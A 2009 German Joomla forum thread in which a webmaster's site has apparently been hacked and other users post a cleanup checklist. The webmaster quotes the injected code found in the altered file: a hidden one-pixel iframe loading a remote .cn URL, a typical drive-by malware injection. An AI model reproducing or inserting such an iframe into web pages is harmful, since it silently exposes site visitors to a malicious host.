Gehackt!(?) Nun kein Backend mehr verüfbar

**chinji** · 02.03.2009 17:47

Hallo.

Heute morgen ging plötzlich meine Seite nicht mehr.
Die index.php wurde geändert. Ich habe die alte wieder hochgeladen und das Frontend lief wieder. Das Backend geht immer noch nicht.

Parse error: syntax error, unexpected '?' in /var/www/web11/html/administrator/index.php on line 88

Das Problem:

1. Ist in Zeile 88 kein "?"
2. Ich habe bei der index.php mal alle Kommentare rausgelöscht und somit auf 44 zeilen oder so beschränkt. Trotzdem bleibt die Fehlermeldung.

Ich hoffe, ihr wisst da bescheid?

Ich bedanke mich recht herzlich bei euch.

LG

Alex

**flotte** · 02.03.2009 17:53

Da wird noch ein Systemtaxfehler in der index.php sein.
Lade einfach ein aktuelles Joomla runter und ersetze Deine Dateien damit.

Viel interessanter ist aber: Warum sind die Dateien verändert?
Wenn Du das nicht warst oder kein anderer eventuell vorhandener Webmaster, dann liegt es nahe, das Deine Seite einem Hackversuch unterlag. In diesem Fall so vorgehen.

**albatros** · 02.03.2009 17:53

Hi,

für gehackte Websites hat Flotte eine "Todo-Liste" geschrieben:

1) Sofort den gesamten Auftritt mit allen Dateien entfernen (sichern!)
2) Datenbankinhalt entfernen
3) Letzte definitv saubere Sicherung einspielen
4) Alle Passwörter ändern (Datenbank, Joomla, FTP, etc.)
5) Log-Dateien holen und Einbruchslücke lokalisieren
6) Lücke schließen!

hth

albatros

Edit: wenn man vom Teufel spricht, äh schreibt

**chinji** · 02.03.2009 18:17

Zitat von flotte

Da wird noch ein Systemtaxfehler in der index.php sein.
Lade einfach ein aktuelles Joomla runter und ersetze Deine Dateien damit.

Viel interessanter ist aber: Warum sind die Dateien verändert?
Wenn Du das nicht warst oder kein anderer eventuell vorhandener Webmaster, dann liegt es nahe, das Deine Seite einem Hackversuch unterlag. In diesem Fall so vorgehen.

Danke für deine Antwort.

Leider ist das Problem so nicht gelöst.
Habe joomla neu heruntergeladen und alles ersetzt.
Fehler besteht weiterhin.

In der Datei, die heute morgen verändert wurde, ist dies am schluß hinzugefügt worden, vllt hilft das?

<html><body><iframe src="http://betstarwager.cn/in.cgi?cocacola81" width=1 height=1 style="visibility: hidden"></iframe></body></html>

**albatros** · 02.03.2009 18:25

Hi,

der Iframe könnte in einer veränderten index.php Deines Templates zu finden sein. Aber selbst wenn das so ist, muss das nicht die einzige Veränderung sein!!!

Gruß

albatros

**Shuffle** · 02.03.2009 18:27

Zitat von chinji

In der Datei, die heute morgen verändert wurde, ist dies am schluß hinzugefügt worden, vllt hilft das?

Moin,
es hilft zumindest bei der Entscheidungsfindung: Da offensichtlich nicht Du diese Änderung verursacht hast, ist Deine Seite gehackt worden. Das bedeutet, dass Du so vorgehen solltest, wie in dem Posting von albatros beschrieben.
Hoffentlich hast Du ein Backup Deiner Seite VOR dem Hack?
Gruß Shuffle

**chinji** · 02.03.2009 18:30

Tja, das ist etwas dumm gelaufen.

Kein aktuelles Backup auf der Platte.
Auf meiner Testumgebung genau das Selbe!!!

Was kann ich da tun?

**albatros** · 02.03.2009 18:32

Hi Shuffle,

es sollte eigentlich heißen "wie von Flotte beschrieben". Ich hab ihn ja nur zitiert und er ist auf dem Gebiet der Experte, nicht ich.

Gruß

albatros

**albatros** · 02.03.2009 18:34

Zitat von chinji

Was kann ich da tun?

Daraus für die Zukunft lernen, Flottes Liste abarbeiten und die Website im Zweifel komplett neu aufsetzen. Die Texte bekommst Du ja zumindest teilweise noch über die Datenbank und Bilder per FTP.

Gruß

albatros

**Myrtus** · 02.03.2009 18:34

@chinji
Mich würde noch interessieren, welche Joomla-Version du hattest.

----- Gruß, Myrtus -----
www.myrtus-communis.de

Thema: Gehackt!(?) Nun kein Backend mehr verüfbar

LinkBack

Themen-Optionen

Thema durchsuchen

Anzeige

Gehackt!(?) Nun kein Backend mehr verüfbar

Erhielt Danksagungen von:

Lesezeichen

Lesezeichen

Berechtigungen